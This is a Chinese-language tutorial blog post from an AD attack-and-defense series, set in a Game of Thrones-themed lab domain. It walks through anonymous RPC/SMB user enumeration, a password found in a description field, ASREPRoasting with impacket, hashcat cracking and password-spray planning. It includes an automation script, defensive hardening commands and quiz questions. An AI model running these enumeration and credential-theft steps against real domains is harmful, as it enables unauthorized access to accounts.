iT邦幫忙

2025 iThome 鐵人賽

DAY 3
1
Security

資安這條路:AD 攻防實戰演練系列 第 3

AD 攻防實戰演練 Day 3:AD 使用者列舉與憑證獵取

  • 分享至 

  • xImage
  •  

image

本日學習目標

今天我們要深入學習如何列舉 Active Directory 的使用者帳號,並透過各種技術獵取憑證。這是滲透測試中極為重要的階段 - 從「知道有哪些系統」進展到「知道有哪些使用者」,最終「取得登入憑證」。


前置知識回顧與專有名詞

成果確認

在開始之前,確保已經完成:

  • 三個網域的基本偵察(sevenkingdoms.local、north.sevenkingdoms.local、essos.local)
  • 識別出所有 DC 和成員電腦
  • 發現 CASTELBLACK 和 BRAAVOS 的 SMB 簽章未啟用
  • 設定好 /etc/hosts 檔案

工具安裝準備

# 安裝必要工具
sudo apt update
sudo apt install smbclient -y      # RPCClient 
sudo apt install ldap-utils -y     # ldapsearch
sudo apt install python3-impacket -y  # Impacket 工具集

# 確認 hashcat 已安裝
which hashcat || sudo apt install hashcat -y

核心協定與技術

RPC (Remote Procedure Call)

  • 是什麼:讓一台電腦能夠執行另一台電腦上的程式的協定
  • 類比:就像打電話請朋友幫你做事,你說要做什麼,朋友做完後告訴你結果
  • 在AD中的用途:用來查詢使用者、群組等資訊
  • 攻擊角度:常用來進行匿名列舉

LDAP (Lightweight Directory Access Protocol)

  • 是什麼:查詢和修改目錄服務的協定,像是查電話簿的標準方法
  • 埠號:389 (明文)、636 (加密LDAPS)
  • 在AD中的角色:AD的核心查詢語言,所有物件資訊都透過LDAP存取
  • 查詢範例:找所有姓名包含"stark"的使用者

NTLM Hash

  • 是什麼:Windows儲存密碼的方式,不是明文而是經過雜湊運算
  • 格式:通常是32個16進位字元
  • 為什麼重要
    • 可以直接用來認證(Pass-the-Hash攻擊)
    • 可以嘗試破解還原成明文密碼
  • 與Kerberos的差異:NTLM是舊式認證,Kerberos是新式且更安全

Kerberos 相關概念

Kerberos 預認證 (Pre-authentication)

  • 正常流程
    1. 使用者先用密碼加密時間戳記
    2. 發送給KDC證明自己知道密碼
    3. KDC才會給票證
  • 關閉預認證的風險:攻擊者可以直接要求票證,離線破解

AS-REP (Authentication Service Response)

  • 是什麼:Kerberos認證第一步的回應
  • 包含什麼:用使用者密碼加密的票證
  • 攻擊利用:如果不需預認證,攻擊者拿到AS-REP後可離線破解

攻擊技術預覽

技術 需要憑證 目標 取得內容
匿名RPC X 所有使用者 使用者清單、描述
ASREPRoasting X 不需預認證的帳號 可破解的hash
Kerberoasting O 服務帳號 服務票證
密碼噴灑 X 所有帳號 有效憑證

本日學習路線圖

學習路線


Part 1:匿名使用者列舉

1.1 使用 CME 快速列舉

首先,用 CrackMapExec 進行匿名列舉:

# 嘗試匿名列舉使用者
crackmapexec smb 192.168.139.11 -u '' -p '' --users

深入解析

為什麼執行:

  • 測試目標是否允許匿名存取(重大安全漏洞)
  • 快速取得使用者清單,為後續攻擊建立目標
  • 檢查描述欄位是否有敏感資訊洩漏
  • 這是最快速的初始偵察方法

執行什麼:

  • -u '' -p '':使用空帳號空密碼(匿名登入)
  • --users:列舉網域使用者
  • 透過 SMB 445 埠的 SAMRPC 協定查詢
  • CME 會自動嘗試多種協定直到成功

結果怎麼看:

image

SMB         192.168.139.11  445    WINTERFELL       [+] north.sevenkingdoms.local\:
SMB         192.168.139.11  445    WINTERFELL       [*] Trying with SAMRPC protocol
SMB         192.168.139.11  445    WINTERFELL       [+] Enumerated domain user(s)
SMB         192.168.139.11  445    WINTERFELL       north.sevenkingdoms.local\samwell.tarly     Samwell Tarly (Password : Heartsbane)

關鍵發現:

  • [+] = 成功,[-] = 失敗,[*] = 資訊
  • 重大發現:samwell.tarly 的密碼直接寫在描述欄位中!
  • 立即記錄:samwell.tarly:Heartsbane

1.2 使用 RPCClient 深入探索

RPCClient 提供更詳細的列舉功能:

# 建立匿名 RPC 連線
rpcclient -U "" 192.168.139.11 -N

深入解析

為什麼執行:

  • CME 只顯示基本資訊,RPCClient 可以互動式深入查詢
  • 可以查詢群組、密碼政策、詳細屬性等
  • 更靈活的列舉工具,可執行多種查詢指令

執行什麼:

  • -U "":空使用者名稱(匿名)
  • -N:不要求密碼
  • 192.168.139.11:目標 DC IP
  • 建立 RPC 連線(使用 135/445 埠)

結果怎麼看:

image

看到 rpcclient $> 提示符號 = 匿名 RPC 可用(安全風險)

在 rpcclient 提示符號下,執行以下指令:

列舉所有使用者

rpcclient $> enumdomusers

為什麼執行:

  • 取得完整使用者清單與 RID(相對識別碼)
  • RID 是後續精確查詢的關鍵
  • 比 CME 更詳細的使用者資訊

image

結果解讀:

user:[Administrator] rid:[0x1f4]   ← 管理員帳號
user:[samwell.tarly] rid:[0x45f]   ← 記下 RID
user:[sql_svc] rid:[0x461]         ← 服務帳號(重要目標)

發現的使用者分類:

  • 史塔克家族:arya.stark、sansa.stark、brandon.stark、rickon.stark
  • 守夜人:jon.snow、samwell.tarly、jeor.mormont
  • 其他:hodor、sql_svc(服務帳號)

列舉網域群組

rpcclient $> enumdomgroups

為什麼執行:

  • 了解組織架構
  • 找出高權限群組
  • 發現自訂業務群組(可能有特殊權限)

image

結果解讀:

group:[Domain Users] rid:[0x201]    ← 標準群組
group:[Domain Admins] rid:[0x200]   ← 高權限群組
group:[Stark] rid:[0x452]           ← 自訂業務群組
group:[Night Watch] rid:[0x453]     ← 自訂業務群組

查詢特定使用者詳情

rpcclient $> queryuser 0x45f  # samwell.tarly 的 RID

為什麼執行:

  • 查看特定使用者的詳細資訊
  • 找描述欄位、上次登入、密碼設定等
  • 0x45f 是從 enumdomusers 取得的 RID

image

關鍵資訊:

User Name   : samwell.tarly
Full Name   : Samwell Tarly  
Description : Samwell Tarly (Password : Heartsbane)  ← 重大發現!
Last Logon  : Thu, 15 Sep 2025 09:31:42 EDT        ← 活躍帳號

查詢群組成員

rpcclient $> querygroupmem 0x453  # Night Watch 群組

為什麼執行:

  • 查看群組成員關係
  • 了解權限繼承
  • 找出關聯帳號

image

結果解讀:

rid:[0x458] attr:[0x7]  ← jon.snow 的 RID
rid:[0x45f] attr:[0x7]  ← samwell.tarly 的 RID

取得密碼政策

rpcclient $> getdompwinfo

為什麼執行:

  • 了解密碼政策以規劃攻擊策略
  • 判斷是否可以安全進行密碼噴灑
  • 評估密碼複雜度要求

image

密碼政策分析:

min_password_length: 5           ← 太短!容易破解
password_properties: 0x00000000  ← 無複雜度要求!
  • 最小長度只有 5 字元(嚴重弱點)
  • 複雜度:無要求(可用簡單密碼)

Part 2:利用已知憑證深入列舉

2.1 驗證憑證

取得 samwell.tarly:Heartsbane 後,先驗證其有效性:

# 測試 SMB 存取
crackmapexec smb 192.168.139.11 -u 'samwell.tarly' -p 'Heartsbane'

深入解析

為什麼執行:

  • 確認從描述欄位取得的密碼是否真的有效
  • 測試憑證可用於哪些服務
  • 檢查帳號權限等級

執行什麼:

  • 使用取得的憑證測試 SMB 登入
  • CME 會顯示帳號權限等級

image

結果解讀:

[+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
  • [+] = 憑證有效!可以使用
  • 注意:如果看到 (Pwn3d!) = 管理員權限
  • 目前沒有 Pwn3d = 一般使用者權限

2.2 使用 LDAP 查詢易受攻擊的帳號

透過取得的憑證,執行更深入的 LDAP 查詢:

# 查詢所有不需要預認證的使用者
ldapsearch -x -H ldap://192.168.139.11 \
    -D 'NORTH\samwell.tarly' -w 'Heartsbane' \
    -b 'DC=north,DC=sevenkingdoms,DC=local' \
    '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
    sAMAccountName

若不確定基礎 DN,可先匿名或已知帳號跑一次 ldapsearch -x -H ldap://<DC_IP> -s base namingcontexts 取得正確 DN。

深入解析

為什麼執行:

  • 找出不需要 Kerberos 預認證的帳號(安全弱點)
  • 這些帳號可被 ASREPRoasting 攻擊
  • 需要有效憑證才能執行 LDAP 查詢

執行什麼:

  • -x:簡單認證
  • -H ldap://192.168.139.11:指定 LDAP 伺服器
  • -D 'NORTH\samwell.tarly':使用取得的憑證
  • -w 'Heartsbane':密碼
  • -b:搜尋基準 DN(網域根)
  • 過濾器:找 userAccountControl 包含 4194304(DONT_REQUIRE_PREAUTH)的使用者

image

結果解讀:

# brandon.stark, Domain Users, north.sevenkingdoms.local
dn: CN=brandon.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sAMAccountName: brandon.stark

重要發現:brandon.stark 不需要 Kerberos 預認證!可執行 ASREPRoasting

2.3 LDAP 查詢解析

讓我們理解這個複雜的 LDAP 過濾器:

(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))

深入說明:

  • &:AND 邏輯運算(兩個條件都要符合)
  • (objectClass=user):只找使用者物件
  • 1.2.840.113556.1.4.803:位元 AND 運算的 OID
  • 4194304:十進位的 0x400000(DONT_REQUIRE_PREAUTH 標誌)

Part 3:ASREPRoasting - 無憑證獵取密碼

3.1 ASREPRoasting 原理

攻擊流程比較

正常 Kerberos 認證流程 vs ASREPRoasting:

無標題 (1)

關鍵差異:

  • 正常:需要先證明知道密碼
  • ASREPRoasting:KDC 直接給加密的票證,可離線破解

3.2 執行 ASREPRoasting

首先建立使用者清單:

cat > north_users.txt << EOF
Administrator
Guest
krbtgt
arya.stark
sansa.stark
brandon.stark
rickon.stark
hodor
jon.snow
samwell.tarly
jeor.mormont
sql_svc
EOF

執行攻擊:

# 尋找不需要預認證的使用者
impacket-GetNPUsers north.sevenkingdoms.local/ -no-pass \
    -usersfile north_users.txt -dc-ip 192.168.139.11

深入解析

為什麼執行:

  • 不需要任何憑證就能取得可破解的 hash
  • 針對不需預認證的帳號發動攻擊
  • 離線破解,不會觸發登入失敗警報

執行什麼:

  • north.sevenkingdoms.local/:目標網域
  • -no-pass:不提供密碼(關鍵參數)
  • -usersfile north_users.txt:批次測試多個使用者
  • -dc-ip 192.168.139.11:指定 DC IP

image

結果解讀:

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set   ← 需要預認證
[-] User arya.stark doesn't have UF_DONT_REQUIRE_PREAUTH set     ← 需要預認證
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:682fe...   ← 成功取得 hash!

成功取得 brandon.stark 的 hash!

3.3 破解 Hash

準備破解環境

儲存 hash:

# 儲存 hash
cat > brandon.hash << 'EOF'
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:682fe74f762402fcf4cd9ec26236d43c$d89d8b65a420da997fdc010e4b89d0c5b1d9b7dc80284d5fe018052d5a2c2d0d11ad44cd2fb976835f1001011632305a6508bf4f0f34620ea54bac095bfd0bcde81207f527828a71c853e81e21d2c56a81763b8f64e63a060494cd2fcc1b4dd9d62d871c46cd7eefcebee9c6178cc03ca23594bf166bda2cba241460947637ed14d8f54b755b5971f8b5018d71bb626db2b4ff2dfed58641ee4bc8a37e47eba286a80eae192ac70c689ac67ee337e8e82bea58884226b2097c7f55de8f0689ebd92fe7cdd64c8355f8ce7562d18cc929bd1502e228f8cf87f13535639a073847f1a10815c077f1d7d08e5bd322d8220a64c528782eb38ea6eb12c763c1bdc0f364cab8262eb3
EOF

image

使用 hashcat 破解

準備字典檔:

image

# 1) 確認 rockyou 字典位置
cd /usr/share/wordlists/
ls
# 應該看到 rockyou.txt.gz

# 2) 解壓字典檔(需要 sudo)
sudo gunzip rockyou.txt.gz
# 如果已解壓會顯示錯誤,沒關係

# 3) 執行破解
hashcat -m 18200 brandon.hash /usr/share/wordlists/rockyou.txt --force

深入解析

為什麼執行:

  • 將加密的 AS-REP 還原成明文密碼
  • 離線破解不會被偵測
  • rockyou.txt 包含常見密碼

執行什麼:

  • -m 18200:Kerberos 5 AS-REP etype 23 破解模式
  • brandon.hash:要破解的 hash 檔案
  • /usr/share/wordlists/rockyou.txt:密碼字典
  • --force:忽略警告強制執行

hash 以 $krb5asrep$23$ 開頭 → -m 18200;以 $krb5asrep$17$$...$18$ → -m 19900。

結果解讀:

$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:...:iseedeadpeople

Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 AS-REP etype 23

破解成功:brandon.stark:iseedeadpeople


檢查密碼政策

在進行密碼噴灑前,必須先了解鎖定政策:

crackmapexec smb 192.168.139.11 -u 'samwell.tarly' -p 'Heartsbane' --pass-pol

深入解析

為什麼執行:

  • 避免觸發帳號鎖定
  • 了解可以嘗試的次數
  • 規劃密碼噴灑策略

image

結果解讀:

Minimum password length: 5              ← 最小長度
Account Lockout Threshold: 5            ← 5次失敗會鎖定
Reset Account Lockout Counter: 5 minutes ← 5分鐘重置計數
Locked Account Duration: 5 minutes      ← 鎖定5分鐘
Password Complexity Flags: 000000       ← 無複雜度要求

重要資訊:

  • 鎖定閾值:5 次(可嘗試 4 次)
  • 鎖定時間:5 分鐘
  • 觀察窗口:5 分鐘
  • 策略:每個帳號最多試 3 個密碼,等 5 分鐘再試

攻擊成果總結

憑證收集進度表

使用者 密碼 取得方式 備註
samwell.tarly Heartsbane 描述欄位洩漏 初始憑證
brandon.stark iseedeadpeople ASREPRoasting 不需預認證

技術對照表

技術 需要憑證 風險等級 防禦難度 偵測難度
匿名 RPC 列舉 X 容易 中等
描述欄位密碼 X 極高 容易 困難
ASREPRoasting X 中等 困難
密碼噴灑 X 困難 容易
Kerberoasting O 困難 中等
LDAP 查詢 O 困難 容易

防禦建議

立即改善項目

  1. 禁用匿名存取
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa `
    -Name "RestrictAnonymous" -Value 2
  1. 移除描述欄位的敏感資訊
Get-ADUser -Filter * -Properties Description | 
    Where-Object {$_.Description -match "password|pass|pwd"}
  1. 確保所有帳號需要預認證
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | 
    Set-ADUser -DoesNotRequirePreAuth $false
  1. 加強密碼政策
Set-ADDefaultDomainPasswordPolicy -Identity "north.sevenkingdoms.local" `
    -MinPasswordLength 14 `
    -ComplexityEnabled $true `
    -LockoutThreshold 3

監控建議

監控以下 Windows 事件 ID:

  • 4768:Kerberos TGT 請求(ASREPRoasting)
  • 4769:Kerberos 服務票證請求(Kerberoasting)
  • 4625:登入失敗(密碼噴灑)
  • 4742:電腦帳號變更
  • 4738:使用者帳號變更

實戰小技巧

自動化腳本

建立批次列舉腳本:

#!/bin/bash
# enum_users.sh - 自動化使用者列舉腳本

echo "[+] RPC 列舉..."
echo "enumdomusers" | rpcclient -U "" $1 -N > rpc_users.txt

echo "[+] CME 列舉..."
crackmapexec smb $1 -u '' -p '' --users > cme_users.txt

echo "[+] 提取使用者名稱..."
cat rpc_users.txt | grep "user:" | cut -d'[' -f2 | cut -d']' -f1 > users.txt

echo "[+] ASREPRoasting..."
impacket-GetNPUsers $2/ -no-pass -usersfile users.txt -dc-ip $1

echo "[+] 完成!結果已儲存"

快速檢查清單

# 檢查匿名存取
rpcclient -U "" <DC_IP> -N -c "enumdomusers" 2>/dev/null | grep -q "user:" && echo "允許匿名!" || echo "已禁用"

# 檢查弱密碼政策
crackmapexec smb <DC_IP> -u '' -p '' --pass-pol | grep "Minimum password length"

# 找出所有不需預認證的使用者
for user in $(cat users.txt); do
    impacket-GetNPUsers domain.local/$user -no-pass -dc-ip <DC_IP> 2>/dev/null | grep -q "krb5asrep" && echo "$user 易受攻擊!"
done

常見錯誤排除

# RPCClient 連線失敗
# 錯誤:NT_STATUS_ACCESS_DENIED
# 解決:試試 Guest 帳號
rpcclient -U "Guest" -N 192.168.139.11

# LDAP 查詢錯誤
# 錯誤:ldap_bind: Invalid credentials
# 確認憑證格式:
# 格式1: -D 'DOMAIN\username'
# 格式2: -D 'username@domain.local'

# hashcat 破解失敗
# 確認 hash 格式正確
file brandon.hash  # 應該顯示 ASCII text
# 確認字典檔存在
ls -la /usr/share/wordlists/rockyou.txt

指令速查

用途 指令
CME 匿名列舉 crackmapexec smb <IP> -u '' -p '' --users
RPC 連線 rpcclient -U "" <IP> -N
列舉使用者 enumdomusers
查詢使用者 queryuser <RID>
LDAP 查詢 ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>'
ASREPRoasting impacket-GetNPUsers <domain>/ -no-pass -usersfile users.txt
破解 Hash hashcat -m 18200 hash.txt wordlist.txt
密碼政策 crackmapexec smb <IP> -u '<user>' -p '<pass>' --pass-pol

本日任務檢查清單

  • [ ] 成功使用 RPCClient 匿名列舉
  • [ ] 發現 samwell.tarly 的密碼
  • [ ] 執行 LDAP 查詢找出易受攻擊的帳號
  • [ ] 成功執行 ASREPRoasting
  • [ ] 破解 brandon.stark 的密碼
  • [ ] 建立完整的憑證清單

思考題

  1. 為什麼管理員會把密碼寫在描述欄位?

    提示:便利性 vs 安全性的平衡,臨時密碼忘記移除

  2. ASREPRoasting 為什麼這麼危險?

    提示:不需要任何憑證、離線破解、不會觸發警報

  3. 如果所有技術都失敗了,還有什麼方法可以取得憑證?

    提示:LLMNR/NBT-NS 投毒、社交工程、實體存取

延伸閱讀

選擇題

Q1. 下列何者不是執行 ASREPRoasting 的必要條件?
A. 目標帳號的「不需 Kerberos 預認證」旗標被啟用
B. 需要目標帳號的明文密碼
C. 能向 KDC 發送 AS-REQ
D. 能解析網域並連到 DC

答案: B
解析: ASREPRoasting 最大威力在於「不需要憑證」。只要帳號設定了 DONT_REQUIRE_PREAUTH(A),攻擊者(C、D)就可拿到 AS-REP 進行離線破解;完全不需要明文密碼(B 錯)。


Q2. 用 LDAP 找「不需預認證」帳號的過濾器為:
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
其中 1.2.840.113556.1.4.803 的作用是?
A. 字串包含比對
B. 位元 OR 運算
C. 位元 AND 運算
D. 正規表達式比對

答案: C
解析: 1.2.840.113556.1.4.803位元 AND 的 OID,用來測試 userAccountControl 的某一位(此處為 0x400000 = 4194304)。


Q3. 取得的 AS-REP hash 開頭為 $krb5asrep$17$...,Hashcat 應選哪個模式?
A. 13100
B. 18200
C. 19900
D. 13100 或 18200 皆可

答案: C
解析: $...$23$-m 18200(RC4/etype 23),$...$17$/$18$-m 19900(AES/etype 17/18)。


Q4. 密碼政策為「Lockout 5 次/視窗 5 分鐘/鎖 5 分鐘」,進行密碼噴灑時下列何者最適合
A. 每個帳號連試 5 個常見密碼,快速找出弱密碼
B. 每個帳號試 3 個密碼,等 5 分鐘再繼續
C. 每個帳號只試 1 個密碼,但同一時間對所有主機平行開打
D. 先對少數帳號嘗試 10 次,確認政策是否生效

答案: B
解析: 以測得的政策,每帳號 ≤4 次最安全;建議的「3 次 + 等 5 分鐘」符合最佳實務。A/D 會鎖帳;C 雖單次少,但大規模平行仍可能造成 SOC 警報與風險。


Q5.crackmapexec smb <DC> -u '' -p '' --users 遇到訊息「NTLM needs domain\username」。下列哪個處置最合理
A. 放棄列舉,代表環境無法被攻擊
B. 立刻改用密碼噴灑
C. 改用 rpcclient -U "" -N <DC_IP> 嘗試 SAMR 匿名列舉
D. 直接執行 Kerberoasting

答案: C
解析: 有些環境禁止透過該路徑的匿名 NTLM,但 SAMR/RPC 仍可能允許匿名。rpcclient 是合理替代。A 太武斷、B 風險高、D 需要有效憑證與 SPN。


上一篇
AD 攻防實戰演練 Day 2:偵察起手式:CrackMapExec(CME)、DNS SRV 與 Nmap 掃描
系列文
資安這條路:AD 攻防實戰演練3
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言